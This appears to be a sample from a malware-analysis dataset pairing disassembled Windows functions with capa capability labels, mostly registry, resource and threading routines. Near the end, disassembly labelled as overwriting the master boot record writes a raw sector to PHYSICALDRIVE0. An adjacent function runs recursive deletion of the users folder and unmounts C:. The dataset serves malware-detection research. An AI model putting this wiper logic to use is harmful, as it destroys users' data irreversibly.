joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a5f0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r9d, dword [rcx + 8]
xor eax, eax
xor ebp, ebp
mov rsi, rdx
mov r8, rdx
mov rdx, qword [rcx]
mov rdi, rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x40]
or r9d, 0x2001f
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x48], ebp
mov qword [rsp + 0x50], rbp
call fcn.1400092b0
mov ebx, eax
test eax, eax
jne 0x14000a717
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x58], pe_nt_image_headers64
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14000a6f1
nop dword [rax]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.14000a5f0
mov ebx, eax
test eax, eax
jne 0x14000a717
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x58], pe_nt_image_headers64
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14000a6a0
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000a706
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rbp
mov rdx, rsi
mov rcx, rdi
mov dword [rsp + 0x48], ebp
call fcn.140006390
mov ebx, eax
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000a727
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140012910
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000aaa0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x1400063be
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x14000aaa0
cmp byte [0x140039e70], 0
jne 0x140006409
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400063f9
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x140039e70], 1
mov qword [0x140039e68], rax
jmp 0x140006410
mov rax, qword [0x140039e68]
mov byte [0x140039e70], 1
jmp 0x140006410
mov rax, qword [0x140039e68]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000642f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x14000ab14
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x14000ab2f
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x14000ab2f
mov rcx, qword [rbx]
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je case.default.0x14000ab2f
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
imul edx, dword [rbx - 0x2ed000b0], 0xffffffb9
call qword [rdx - 0x31]
mov dl, 0xff
invalid
Function at 0x14000ae90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r15, r9
mov rsi, r8
mov rbx, rdx
xor r14d, r14d
mov qword [rsp + 0x50], r14
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x58], r14
xor edx, edx
mov r8d, 0x408
lea rcx, [rsp + 0x70]
call fcn.140012a20
mov qword [rsp + 0x70], r14
xor edx, edx
lea r8d, [r14 + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14000af3c
xor edx, edx
lea r8d, [r14 + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14000af3c
call fcn.140003d10
mov ebx, eax
jmp 0x14000b064
mov r8, r15
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x14000af5d
call fcn.140003d10
jmp 0x14000b053
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14000af80
call fcn.140003d10
jmp 0x14000b053
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x14000afa2
mov ebx, 0x8007000e
jmp 0x14000b055
mov ecx, eax
test eax, eax
je 0x14000afda
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x14000afd0
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x14000afda
lea rcx, [rsp + 0x70]
call fcn.1400033a0
jmp 0x14000afe4
mov ecx, 0x80070216
call fcn.140004950
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x14000aff7
cmp qword [rsp + 0x70], 0
jne 0x14000b006
mov ebx, 0x8007000e
jmp 0x14000b055
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14000b030
call fcn.140003d10
jmp 0x14000b053
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], r14w
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x58]
call fcn.14000abb0
mov ebx, eax
test rdi, rdi
je 0x14000b064
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x14000b07b
lea rcx, [rsp + 0x70]
call fcn.1400068a0
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140012910
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x14000bf40
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rcx, qword [rcx]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], r8d
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140012910
add rsp, 0x48
ret

Function at 0x14000c050
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov r9, r8
mov r10, rdx
test r8, r8
jne 0x14000c068
lea eax, [r8 + 0xd]
add rsp, 0x38
ret
xor r8d, r8d
mov rdx, r9
nop
or rax, 0xffffffffffffffff
inc rax
cmp word [rdx + rax*2], 0
jne 0x14000c074
inc eax
lea rdx, [rdx + rax*2]
lea r8d, [r8 + rax*2]
cmp eax, 1
jne 0x14000c070
mov rcx, qword [rcx]
mov dword [rsp + 0x28], r8d
mov qword [rsp + 0x20], r9
lea r9d, [rax + 6]
xor r8d, r8d
mov rdx, r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x38
ret

Function at 0x14000c770
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x50], rax
test rax, rax
jne 0x14000c7b4
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140012910
add rsp, 0x40
pop rbx
ret
lea rax, [rsp + 0x30]
lea r8, [0x140008620]
mov r9, rbx
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x14000c7f5
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x50], rdi
mov rax, rdi
mov rdi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140012910
add rsp, 0x40
pop rbx
ret

Function at 0x14000d1c0
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp byte [0x140039da9], 0
mov esi, edx
mov rdi, rcx
je 0x14000d1e6
or eax, 0xffffffff
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
xor ecx, ecx
mov qword [rsp + 0x30], rbx
call qword [sym.imp.ole32.dll_CoInitialize]
mov ebx, eax
mov dword [rsp + 0x40], eax
test eax, eax
jns 0x14000d228
cmp eax, 0x80010106
jne 0x14000d264
lea rcx, str.Mscoree.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x14000d22c
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov byte [rdi + 0x62], 1
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea r8, [rsp + 0x40]
mov rcx, rdi
mov rdx, rax
call fcn.1400093b0
cmp al, 1
jne 0x14000d254
mov edx, esi
mov rcx, rdi
call fcn.14000bdc0
mov ebx, eax
jmp 0x14000d258
mov ebx, dword [rsp + 0x40]
cmp byte [rdi + 0x62], 0
je 0x14000d264
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000dfb0
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
xor ebx, ebx
lea r8, str.GSDBFB22DB52F7
lea edx, [rbx + 1]
xor ecx, ecx
mov edi, r9d
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000e04b
xor ecx, ecx
mov qword [0x14003b830], rbp
call fcn.140008220
test al, al
je 0x14000e010
lea rcx, [0x140039ed0]
mov edx, edi
call fcn.14000d1c0
mov ebx, eax
mov rdi, qword [0x14003b830]
lea rdx, str._profile
mov rcx, rdi
call fcn.140011a10
test rax, rax
jne 0x14000e03f
lea rdx, str._import
mov rcx, rdi
call fcn.140011a10
test rax, rax
je 0x14000e04b
mov rcx, qword [0x14003b830]
call fcn.140007730
test rsi, rsi
je 0x14000e059
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000e470
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edi, edi
lea rax, [rsp + 0x30]
mov rbx, rdx
mov rdx, rcx
lea r9d, [rdi + 1]
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], 4
mov dword [rsp + 0x3c], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x38], 4
test eax, eax
jne 0x14000e539
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
lea rdx, str.Install
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x30]
lea rdx, str.Release
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000e53b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000e53b
mov dword [rbx], edi
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140012910
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x14000ed00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x2c0
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rbx, qword [0x14003b930]
mov r14, rcx
movzx edx, dx
mov r8d, 0xf0
mov rcx, rbx
mov edi, 1
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14000ef2d
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000ef2d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000ef2d
mov qword [rsp + 0x2b8], rsi
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2a0], r15
mov r13d, 0x403
mov r12d, 0x1234
xor r15d, r15d
mov qword [rsp + 0x2f0], rbp
nop dword [rax]
movzx esi, word [rbx]
cmp r15w, si
je 0x14000eee7
movzx eax, word [rbx + 2]
mov ebp, dword [rbx + 4]
add rbx, 8
cmp r13w, ax
jne 0x14000ee5b
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0x108
call fcn.140012a20
lea rax, [rsp + 0x188]
lea rcx, [rsp + 0x180]
mov r8d, 3
mov rdx, rbx
mov qword [rsp + 0x180], rax
call fcn.14000f1c0
mov rax, qword [rsp + 0x180]
mov rcx, qword [r14 + 8]
movzx edx, si
xor r9d, r9d
mov r8d, 0x143
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov rcx, qword [rsp + 0x180]
cmp rax, 0xffffffffffffffff
lea rax, [rsp + 0x188]
cmove edi, r15d
cmp rcx, rax
je 0x14000eedc
call fcn.140011610
jmp 0x14000eedc
cmp r12w, ax
jne 0x14000eedc
lea rax, [rsp + 0x38]
lea rcx, [rsp + 0x30]
mov r8d, 3
mov rdx, rbx
mov dword [rsp + 0x140], 1
mov qword [rsp + 0x148], 0xffffffffffffffff
mov qword [rsp + 0x30], rax
call fcn.14000f1c0
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x150], rcx
cmp rcx, rax
je 0x14000eeb1
call fcn.140011610
mov rcx, qword [r14 + 8]
lea rax, [rsp + 0x140]
movzx edx, si
xor r9d, r9d
mov r8d, 0x40b
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_SendDlgItemMessageW]
cmp rax, 0xffffffffffffffff
cmove edi, r15d
add rbx, rbp
test edi, edi
jne 0x14000edb0
mov rbp, qword [rsp + 0x2f0]
mov r12, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2a8]
mov r15, qword [rsp + 0x2a0]
mov eax, edi
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140012910
add rsp, 0x2c0
pop r14
pop rdi
pop rbx
ret
mov eax, edi
jmp 0x14000ef11
Function at 0x14000ef60
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x840
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x830], rax
lea rdx, [rsp + 0x20]
lea rcx, str.SOFTWAREWow6432NodeMicrosoftNET_Framework_SetupNDP_v4Full
mov dword [rsp + 0x20], 0
call fcn.14000e470
lea rdx, [rsp + 0x20]
lea rcx, str.SOFTWAREWow6432NodeMicrosoftNET_Framework_SetupNDP_v4Client
call fcn.14000e470
xor edi, edi
cmp dword [rsp + 0x20], 0x5c615
lea rcx, [rsp + 0x30]
mov edx, 0x800
setae dil
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov rbx, qword [0x14003b830]
lea rdx, str.customApp
xor ecx, ecx
nop word [rax + rax]
movzx eax, word [rbx + rcx*2]
cmp ax, word [rdx + rcx*2]
jne 0x14000f05c
movzx eax, word [rbx + rcx*2 + 2]
cmp ax, word [rdx + rcx*2 + 2]
jne 0x14000f05c
add rcx, 2
cmp rcx, 0xa
jne 0x14000efe0
lea rbx, [0x14003afc0]
lea r8, [rsp + 0x30]
mov edx, 0x400
mov rcx, rbx
call fcn.1400118d8
lea r8, [0x140027884]
lea rcx, [0x14003a750]
mov edx, 0x432
call fcn.1400118d8
mov edx, 0x432
mov rcx, rbx
lea r8, str.CustomModeApp.exe
test edi, edi
jne 0x14000f04b
lea r8, str.CustomModeAppv2_0.exe
call fcn.140011850
mov qword [0x14003b828], rbx
jmp 0x14000f19c
xor ecx, ecx
lea rdx, str.dpApp
nop word [rax + rax]
movzx eax, word [rbx + rcx*2]
inc rcx
cmp ax, word [rdx + rcx*2 - 2]
jne 0x14000f0e0
cmp rcx, 6
jne 0x14000f070
lea rbx, [0x14003afc0]
lea r8, [rsp + 0x30]
mov edx, 0x400
mov rcx, rbx
call fcn.1400118d8
lea r8, [0x140027884]
lea rcx, [0x14003a750]
mov edx, 0x432
call fcn.1400118d8
mov edx, 0x432
mov rcx, rbx
lea r8, str.DPTopologyApp.exe
test edi, edi
jne 0x14000f0cf
lea r8, str.DPTopologyAppv2_0.exe
call fcn.140011850
mov qword [0x14003b828], rbx
jmp 0x14000f19c
lea rdx, str._profile
mov rcx, rbx
call fcn.140011a10
test rax, rax
jne 0x14000f19c
lea rdx, str._import
mov rcx, rbx
call fcn.140011a10
test rax, rax
jne 0x14000f19c
lea r8, [rsp + 0x30]
lea rcx, [0x14003a750]
mov edx, 0x400
call fcn.1400118d8
lea r8, [0x140028ee0]
lea rcx, [0x14003afc0]
mov edx, 0x432
call fcn.1400118d8
mov qword [0x14003b828], 0
mov edx, 0x432
lea rcx, [0x14003a750]
lea r8, str.Gfxv4_0.exe
test edi, edi
jne 0x14000f167
lea r8, str.Gfxv2_0.exe
call fcn.140011850
lea r8, [0x140028f24]
lea rcx, [0x14003a750]
mov edx, 0x432
call fcn.140011850
mov r8, qword [0x14003b830]
lea rcx, [0x14003a750]
mov edx, 0x432
call fcn.140011850
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.140012910
mov rbx, qword [rsp + 0x850]
add rsp, 0x840
pop rdi
ret

Function at 0x14000f2d0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1400372d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ecx, ecx
lea rax, [rsp + 0x30]
lea r9, [0x14003b840]
mov qword [rsp + 0x28], rax
lea r8, [0x14000e320]
xor edx, edx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x30], ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000f31b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140012910
add rsp, 0x48
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004903c0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004903d0]
mov dword [rax], 1
mov rax, qword [0x004903e0]
mov dword [rax], 1
mov rax, qword [0x004903b0]
mov dword [rax], 1
mov rax, qword [0x00490230]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x004903a0]
mov dword [0x004ab008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.unk_2676
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x004902e0]
mov qword [rdx], rax
mov rdx, qword [0x004902d0]
mov qword [rdx], rax
mov rax, qword [0x00490360]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x0048f920]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.unk_2676
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401530
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x40
mov rdi, rdx
rep stosq qword [rdi], rax
mov edx, 0x30
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, [0x00475060]
mov rcx, rax
call sym.memcpy
mov byte [rbp + 0x1be], 0x55
mov byte [rbp + 0x1bf], 0xaa
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str..PHYSICALDRIVE0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x4015d3
mov eax, 0xffffffff
jmp 0x4016af
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1c0]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0x90018
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov r8d, 0x200
lea rcx, [rbp + 0x1c4]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1c0]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0x9001c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x258
pop rdi
pop rbp
ret
Function at 0x4016b9
Capabilities:
Execute command
Self delete

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.del_C:users__r__f
call sym.system
lea rcx, str.mountvol_c:__d
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x4016e4
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
push rbx
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov qword [rsp + 0x40], 0
lea rax, [rbp - 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, qword [rbp + 0x20]
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
call rax
mov ebx, 2
mov rax, qword [rbp + 0x38]
mov rcx, rax
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.size___const
add rax, 1
imul ebx, eax
mov rax, qword [rbp + 0x38]
mov rcx, rax
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rsi, rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rdx, rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
add rsp, 0x60
pop rbx
pop rsi
pop rbp
ret